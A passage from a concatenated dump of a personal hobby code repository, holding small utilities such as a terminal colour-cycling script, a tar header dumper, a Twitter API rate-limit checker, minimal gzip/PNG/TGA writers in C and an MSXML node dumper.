| # results in ceil(k/127) as well. 22 | 23 | # 10923 is the first time the loop runs more than once 24 | 25 | mi = 0 26 | for k in xrange(0, 1000000): 27 | n, i = 0, 0 28 | while True: 29 | n_prime = ceil((k + n) / 128.0) 30 | if n == n_prime: 31 | break; 32 | n = n_prime 33 | i += 1 34 | mi = max(i, mi) 35 | if n != ceil(k / 127.0): 36 | print k, i, n, ceil(k / 127.0) 37 | 38 | print mi 39 | -------------------------------------------------------------------------------- /swoosh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # vim:set fileencoding=utf-8: 3 | 4 | # https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Operating-System-Commands 5 | # Relevant bits: 6 | # ESC: '\033' ('\e' in C files) 7 | # OSC: ESC ']' 8 | # BEL: '\a' 9 | # ST: ESC '\' (ie '\033\\' in python strings) 10 | # OSC Ps ; Pt ST 11 | # OSC Ps ; Pt BEL 12 | # Set Text Parameters. Both ST or BEL terminators work. 13 | # ST is considered preferred but BEL is one byte less and less typing, 14 | # so this uses BEL. 15 | # Ps = 1 0 ⇒ Change VT100 text foreground color to Pt. 16 | # Ps = 1 1 ⇒ Change VT100 text background color to Pt. 17 | 18 | from math import sin 19 | import sys 20 | import time 21 | 22 | def main(): 23 | while True: 24 | r, g, b = [int(sin(3*time.time() + t)*127 + 128) for t in [0, 2, 4]] 25 | sys.stdout.write(f'\033]11;#{r:02x}{g:02x}{b:02x}\a') 26 | sys.stdout.flush() 27 | time.sleep(0.01) 28 | 29 | 30 | if __name__ == '__main__': 31 | try: 32 | main() 33 | finally: 34 | # Ps = 1 1 0 ⇒ Reset VT100 text foreground color. 35 | # Ps = 1 1 1 ⇒ Reset VT100 text background color. 36 | sys.stdout.write('\033]111\a') # Reset default background color 37 | pass 38 | -------------------------------------------------------------------------------- /tardump.py: -------------------------------------------------------------------------------- 1 | import array 2 | import collections 3 | import struct 4 | import sys 5 | 6 | 7 | class Struct(object): 8 | def __init__(self, name, *args): 9 | def tostruct(s): return s.replace('o', 's').replace('z', 's') 10 | self.fmt = '<' + ''.join(map(tostruct, args[0::2])) 11 | # XXX why is checksum space-terminated 12 | octint = lambda t: int('0' + t.rstrip('\x00 '), 8) 13 | cstr = lambda t: t.rstrip('\x00') 14 | ident = lambda t: t 15 | self.map = map(lambda s:{'o':octint,'z':cstr}.get(s[-1], ident), args[0::2]) 16 | self.type = collections.namedtuple(name, args[1::2]) 17 | 18 | def unpack_from(self, buffer, offset=0): 19 | vals = struct.unpack_from(self.fmt, buffer, offset) 20 | #print vals 21 | return self.type(*[f(v) for f, v in zip(self.map, vals)]) 22 | 23 | 24 | # unix stardard tar ("ustar") format. 25 | TARHEADER = Struct('TARHEADER', 26 | '100z', 'name', 27 | '8o', 'mode', 28 | '8o', 'uid', 29 | '8o', 'gid', 30 | '12o', 'size', 31 | '12o', 'mtime', 32 | '8o', 'checksum', 33 | 'c', 'type', 34 | '100z', 'linkname', 35 | '6s', 'ustar', 36 | '2s', 'ustar_version', 37 | '32z', 'user', 38 | '32z', 'group', 39 | '8o', 'device_major', 40 | '8o', 'device_minor', 41 | '155z', 'name_prefix', 42 | ) 43 | 44 | dat = open(sys.argv[1], 'rb').read() 45 | 46 | i = 0 47 | header = TARHEADER.unpack_from(dat, 0) 48 | while header.size != 0: 49 | print header 50 | i += (1 + (header.size + 511) / 512) * 512 51 | header = TARHEADER.unpack_from(dat, i) 52 | -------------------------------------------------------------------------------- /testcov.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm -rf profiles report 4 | 5 | echo 'int main() {}' > main.c 6 | 7 | out/gn/bin/clang \ 8 | -fcoverage-mapping \ 9 | -fprofile-instr-generate=$PWD/profiles/%4m.profraw \ 10 | -c main.c 11 | 12 | out/gn/bin/clang -fprofile-instr-generate main.o -fuse-ld=lld 13 | 14 | ./a.out 15 | 16 | llvm/utils/prepare-code-coverage-artifact.py \ 17 | out/gn/bin/llvm-profdata \ 18 | out/gn/bin/llvm-cov \ 19 | profiles/ report/ \ 20 | a.out 21 | -------------------------------------------------------------------------------- /tspp/tsconfig.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /tspp/tspp.html: -------------------------------------------------------------------------------- 1 | 2 | 9 |

tspp

10 |
11 | 14 | 15 | 16 |
17 |
18 |
-------------------------------------------------------------------------------- /twitsearch.py: -------------------------------------------------------------------------------- 1 | consumer, secret = open('twitsearch_keys.txt').read().splitlines() 2 | 3 | # https://dev.twitter.com/oauth/application-only 4 | # The base64 stuff described there is the normal Basic Auth dance. 5 | 6 | import requests 7 | r = requests.post('https://api.twitter.com/oauth2/token', 8 | auth=(consumer, secret), 9 | headers={'Content-Type': 10 | 'application/x-www-form-urlencoded;charset=UTF-8'}, 11 | data='grant_type=client_credentials') 12 | #print r.headers 13 | #print r.json() 14 | assert r.json()['token_type'] == 'bearer' 15 | bearer = r.json()['access_token'] 16 | 17 | ratelimit_url = 'https://api.twitter.com/1.1/application/rate_limit_status.json' 18 | r = requests.get(ratelimit_url, 19 | headers={'Authorization': 'Bearer ' + bearer}, 20 | params={'resources': 'search,application'}) 21 | 22 | #print r.json() 23 | search_rate = r.json()['resources']['search']['/search/tweets'] 24 | print 'search limit/15 min:', search_rate['limit'] 25 | print 'search remaining/15 min:', search_rate['remaining'] 26 | 27 | #url = 'https://api.twitter.com/1.1/search/tweets.json?q=%23foo' 28 | #r = requests.get(url, headers={'Authorization': 'Bearer ' + bearer}) 29 | #print r.json() 30 | -------------------------------------------------------------------------------- /watdbg/build.ninja: -------------------------------------------------------------------------------- 1 | # http://connect.microsoft.com/VisualStudio/feedback/details/809962/has-exceptions-0-triggers-unreachable-code-warning-in-xtree 2 | defines = /D_HAS_EXCEPTIONS=0 /D_CRT_SECURE_NO_WARNINGS /wd4702 3 | rule cc 4 | command = cl /W4 /WX $defines /nologo /Ox $in /Fo$out 5 | rule ld 6 | command = cl $in /nologo /Fe$out 7 | 8 | builddir = build 9 | build $builddir/watdbg.obj: cc watdbg.cc 10 | build $builddir/watdbg.exe: ld $builddir/watdbg.obj 11 | -------------------------------------------------------------------------------- /web/darkmode.html: -------------------------------------------------------------------------------- 1 | 2 | dark mode theme test 3 | 31 |

heading

32 |
yo here's a link.
33 | 


--------------------------------------------------------------------------------
/web/darkmode2.html:
--------------------------------------------------------------------------------
 1 | 
 2 | dark mode theme test
 3 | 
12 | 

heading

13 |
yo here's a link.
14 | 


--------------------------------------------------------------------------------
/web/darkmode3.html:
--------------------------------------------------------------------------------
1 | 
2 | dark mode theme test
3 | 
5 | 
6 | 

heading

7 |
yo here's a link.
8 | 
yo here's another link.
9 | 


--------------------------------------------------------------------------------
/web/drop-alpha.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/web/drop-alpha.png


--------------------------------------------------------------------------------
/web/drop-color.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/web/drop-color.png


--------------------------------------------------------------------------------
/web/webgl/README.txt:
--------------------------------------------------------------------------------
1 | Start a local webserver to look at stuff in this directory:
2 | 
3 |     python3 -m http.server
4 | 


--------------------------------------------------------------------------------
/web/webgl/jimmy.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/web/webgl/jimmy.jpg


--------------------------------------------------------------------------------
/wpng/gz.c:
--------------------------------------------------------------------------------
 1 | /*
 2 | 
 3 | Test program to write uncompressed gzip file.
 4 | 
 5 |   clang -o gz gz.c -Wall
 6 |   ./gz | gunzip
 7 | 
 8 | */
 9 | 
10 | #include 
11 | #include 
12 | #include 
13 | 
14 | // http://www.ietf.org/rfc/rfc1952.txt
15 | uint32_t crc_table[256];
16 | void make_crc_table(void) {
17 |   for (int n = 0; n < 256; n++) {
18 |     uint32_t c = (uint32_t) n;
19 |     for (int k = 0; k < 8; k++)
20 |       if (c & 1)
21 |         c = 0xedb88320u ^ (c >> 1);
22 |       else
23 |         c = c >> 1;
24 |     crc_table[n] = c;
25 |   }
26 | }
27 | uint32_t update_crc(uint32_t crc, const unsigned char *buf, int len) {
28 |   uint32_t c = crc ^ 0xffffffffu;
29 |   for (int n = 0; n < len; n++)
30 |     c = crc_table[(c ^ buf[n]) & 0xff] ^ (c >> 8);
31 |   return c ^ 0xffffffffu;
32 | }
33 | uint32_t crc(const unsigned char *buf, int len) {
34 |   return update_crc(0, buf, len);
35 | }
36 | 
37 | void fput_n_le(uint32_t u, FILE* f, int n) {
38 |   for (int i = 0; i < n; i++) fputc(u >> (8*i), f);
39 | }
40 | int main() {
41 |   make_crc_table();
42 | 
43 |   const unsigned char data[] = "Hello gzip\n";
44 | 
45 |   // header
46 |   fputc(31, stdout);   // magic number 1
47 |   fputc(139, stdout);  // magic number 2
48 |   fputc(8, stdout);    // compression method: deflate
49 |   fputc(0, stdout);    // flags
50 |   fput_n_le(0, stdout, 4);  // mtime
51 |   fputc(0, stdout);    // extra flags
52 |   fputc(0xff, stdout); // OS
53 | 
54 |   // data
55 |   fputc(1, stdout); // Final block, compression method: uncompressed
56 |   fput_n_le(sizeof(data), stdout, 2);
57 |   fput_n_le(~(uint16_t)sizeof(data), stdout, 2);
58 |   fwrite(data, 1, sizeof(data), stdout);
59 | 
60 |   // footer
61 |   fput_n_le(crc(data, sizeof(data)), stdout, 4);  // crc32
62 |   fput_n_le(sizeof(data), stdout, 4);  // ISIZE
63 | }
64 | 


--------------------------------------------------------------------------------
/wpng/wpng.c:
--------------------------------------------------------------------------------
 1 | /* Bare-bones png writer. Just uncompressed rgba png, no frills. Build like:
 2 |      clang -o wpng wpng.c -Wall
 3 | */
 4 | 
 5 | #include 
 6 | #include 
 7 | 
 8 | void wpng(int w, int h, const uint8_t* pix, FILE* f) {  // pix: rgba in memory
 9 |   uint32_t crc_table[256], crc = ~0;
10 |   for (uint32_t n = 0, c = 0; n < 256; n++, c = n) {
11 |     for (int k = 0; k < 8; k++) c = -(c & 1) & 0xedb88320L ^ (c >> 1);
12 |     crc_table[n] = c;
13 |   }
14 | #define CRCWRITE(d, len) fwrite(d, 1, len, f); for (int n = 0; n < len; n++) \
15 |     crc = crc_table[(crc ^ (d)[n]) & 0xff] ^ (crc >> 8)
16 | #define U32BE(b, u) b[0] = (u)>>24; b[1] = (u)>>16; b[2] = (u)>>8; b[3] = (u)
17 |   uint8_t I[] = "\x89PNG\r\n\x1a\n\0\0\0\xdIHDRwid0hyt0\x8\6\0\0\0", B[4];
18 |   fwrite(I, 1, 12, f);
19 |   U32BE((I + 16), w); U32BE((I + 20), h); CRCWRITE(I+12, 17);
20 |   U32BE(B, ~crc); fwrite(B, 1, 4, f);  // IHDR crc32
21 |   uint16_t scanl = w*4 + 1;
22 |   U32BE(B, 6 + (5 + scanl)*h); fwrite(B, 1, 4, f);
23 |   crc = ~0; CRCWRITE("IDAT\x8\x1d", 6);
24 |   uint32_t a1 = 1, a2 = 0;
25 |   for (int y = 0; y < h; ++y, pix += w*4) {
26 |     uint8_t le[] = { y == h - 1, scanl, scanl >> 8, ~scanl, ~scanl >> 8, 0 };
27 |     CRCWRITE(le, 6);
28 |     CRCWRITE(pix, w*4);
29 |     const int P = 65521;
30 |     a2 = (a1 + a2) % P;
31 |     for (int n = 0; n < w*4; n++) { a1 = (a1+pix[n]) % P; a2 = (a1+a2) % P; }
32 |   }
33 |   U32BE(B, (a2 << 16) + a1); CRCWRITE(B, 4);  // adler32 of uncompressed data
34 |   U32BE(B, ~crc); fwrite(B, 1, 4, f);  // IDAT crc32
35 | #undef CRCWRITE
36 | #undef U32BE
37 |   fwrite("\0\0\0\0IEND\xae\x42\x60\x82", 1, 12, f);  // IEND + crc32
38 | }
39 | 
40 | int main() {
41 |   uint8_t pix[256*125*4];
42 |   for (size_t i = 0; i < sizeof(pix); ++i) pix[i] = i*i;
43 |   wpng(125, 256, pix, stdout);
44 | }
45 | 


--------------------------------------------------------------------------------
/wpng/wtga.c:
--------------------------------------------------------------------------------
 1 | /* tga writer. Build like:
 2 |   clang -o wtga wtga.c -Wall
 3 | */
 4 | 
 5 | #include 
 6 | #include 
 7 | 
 8 | // pix: bgra in memory, bottom-most scanline first
 9 | void wtga(uint16_t w, uint16_t h, const uint8_t* pix, FILE* f) {
10 |   uint8_t head[] = { 0,0,2,0,0,0,0,0,0,0,0,0,w,w>>8,h,h>>8,32,0 };
11 |   fwrite(head, 1, sizeof(head), f);
12 |   fwrite(pix, 1, w*h*4, f);
13 | }
14 | 
15 | int main() {
16 |   uint8_t pix[] = {0xff,0,0,0xff, 0,0xff,0,0xff,  0,0,0xff,0xff, 0xff,0,0,0x80};
17 |   wtga(2, 2, pix, stdout);
18 | }
19 | 


--------------------------------------------------------------------------------
/xmltest_in.xml:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 4 |   
 5 |     
 6 |     text&more@
 8 |     
 9 |   
10 |   
11 |   
12 | 
13 | 


--------------------------------------------------------------------------------
/xmltest_msxml_import.cc:
--------------------------------------------------------------------------------
 1 | // cl /nologo xmltest.cc
 2 | // msxml6.tlh autolinks ole32.lib oleaut32.lib comsuppw.lib
 3 | #import   // Generates and includes msxml6.tlh msxml6.tli
 4 | #include 
 5 | 
 6 | // Note: MSXML2::IFooPtr is different from ::IFooPtr.
 7 | // The MSXML2 types use exceptions instead of HRESULT.
 8 | 
 9 | void print(MSXML2::IXMLDOMNodePtr n, int indent) {
10 |   variant_t node_value = n->nodeValue;
11 |   bstr_t node_value_str;
12 |   if (node_value.GetVARIANT().vt != VT_NULL)
13 |     node_value_str = (bstr_t)node_value;
14 |   for (int i = 0; i < indent; ++i) printf(" ");
15 |   printf("%d/%S %S %S %S\n", n->nodeType, (BSTR)n->nodeTypeString,
16 |          (BSTR)n->nodeName, (BSTR)node_value_str, (BSTR)n->namespaceURI);
17 | 
18 |   if (MSXML2::IXMLDOMNamedNodeMapPtr attribs = n->attributes)
19 |     for (long i = 0; i < attribs->length; ++i)
20 |       print(attribs->item[i], indent + 2);
21 | 
22 |   MSXML2::IXMLDOMNodeListPtr children = n->childNodes;
23 |   for (long i = 0; i < children->length; ++i)
24 |     print(children->item[i], indent + 2);
25 | }
26 | 
27 | void DumpFile(const char* filename) {
28 |   MSXML2::IXMLDOMDocumentPtr xml_doc;
29 |   xml_doc.CreateInstance(__uuidof(MSXML2::DOMDocument60));
30 |   xml_doc->async = VARIANT_FALSE;
31 |   xml_doc->validateOnParse = VARIANT_FALSE;
32 |   xml_doc->resolveExternals = VARIANT_FALSE;
33 |   if (xml_doc->load(filename) != VARIANT_TRUE) {
34 |     // Failed to load xml, get last parsing error
35 |     printf("Failed to load DOM from stocks.xml. %S\n",
36 |            (BSTR)xml_doc->parseError->reason);
37 |     return;
38 |   }
39 |   print(xml_doc, 0);
40 | }
41 | 
42 | int main(int argc, char *argv[]) {
43 |   CoInitialize(NULL);
44 |   for (int i = 1; i < argc; ++i)
45 |     DumpFile(argv[i]);
46 |   CoUninitialize();
47 | }
48 | 


--------------------------------------------------------------------------------
/yak/.gitignore:
--------------------------------------------------------------------------------
1 | yak
2 | yak.o
3 | 


--------------------------------------------------------------------------------
/yak/Makefile:
--------------------------------------------------------------------------------
 1 | .POSIX:
 2 | CC     = cc
 3 | CFLAGS = -Wall -Wextra -Wconversion -O2 -std=c17
 4 | 
 5 | all: yak
 6 | yak: yak.o
 7 | 	$(CC) -o yak yak.o
 8 | yak.o: yak.c
 9 | clean:
10 | 	rm -f yak yak.o
11 | 


--------------------------------------------------------------------------------